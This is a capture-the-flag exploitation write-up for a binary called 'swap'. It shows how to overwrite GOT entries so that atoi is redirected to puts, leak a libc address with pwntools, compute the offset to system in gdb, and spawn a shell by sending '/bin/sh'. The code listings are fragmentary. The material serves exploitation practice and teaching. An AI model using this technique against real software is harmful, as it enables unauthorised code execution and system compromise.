read(0, &buf, 0x20uLL); result = atoll(&buf); return result; }
Resuming what the program is actually doing:
1 2 3
Option 1 - Choose two addresses Option 2 - Swap 2 addresses previously chosen (can be used to switch function addresses for example) Option 3 - Prints bye and exits
The first thing we can start doing is to get the GOT(Global Offset Table) addresses of the functions we need, we can do this in 3 ways: objdump
We can start by thinking into changing memcpy_got and read_got addresses, and why? because with this when we choose the option 2 to swap we will have something like this:
The second read is what is interesting to us, we can controll the first two arguments to our advantage, if we choose the 1st address to be the file descriptor 0(STDIN) and the 2nd address the function we want to overwrite.
The next thing to do is to overwrite atoi function and why we want to do it? Because if we overwrite atoi into puts_plt we can leak addresses easily, because we first read them and then print them!
1 2
read(0, &buf, 0x10uLL); result = puts(&buf);
Now that we overwrite atoi with puts we can start trying to leak libc addresses like this:
1 2 3 4
print r.recvuntil('choice: \n') r.send("B") h = u64(r.recv(6).ljust(8, '\x00')) # ljust will convert an address like 0x7f3253354340 into 0x0007f3253354340 print"STACK ADDRESS 0x%x"%h
Now we got a stack address but it’s still not the address we need, we have to calculate the offset of this address to the libcbase address! we can calculate this with help of gdb. Just run your python script (there will be a sleep of 5 seconds and attach the PID address on gdb like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
pwndbg> attach 6865 ...outputfrompwngdb... pwndbg> continue pwndbg> p system $1 = {<text variable, no debug info>} 0x7fcb77dea391 <system>
---------------runing-program-in-another-terminal--------------- $ python swap.py ..hidden-output... 1. Set addrsses 2. Swap both addrress of value 0. Exit Your choice:
STACK ADDRESS 0x7fcb7816a642
Now if we subtract the leaked address from the system address we got from gdb we will get and offset to system function:
We still have a small problem from now on, now that we overwrite the atoi we can’t really choose which option from the menu, well we actually can! puts returns the number of bytes printed! the null byte is included in this count!
1 2
int i = puts('\x00') // returns 1 int i = puts('B\x00') // returns 2
Now we give the input ‘B\x00’ into puts so it will return the value 2! and we overwrite the atoi->puts->system and sent the “/bin/sh\x00” string to get ourselves a shell!: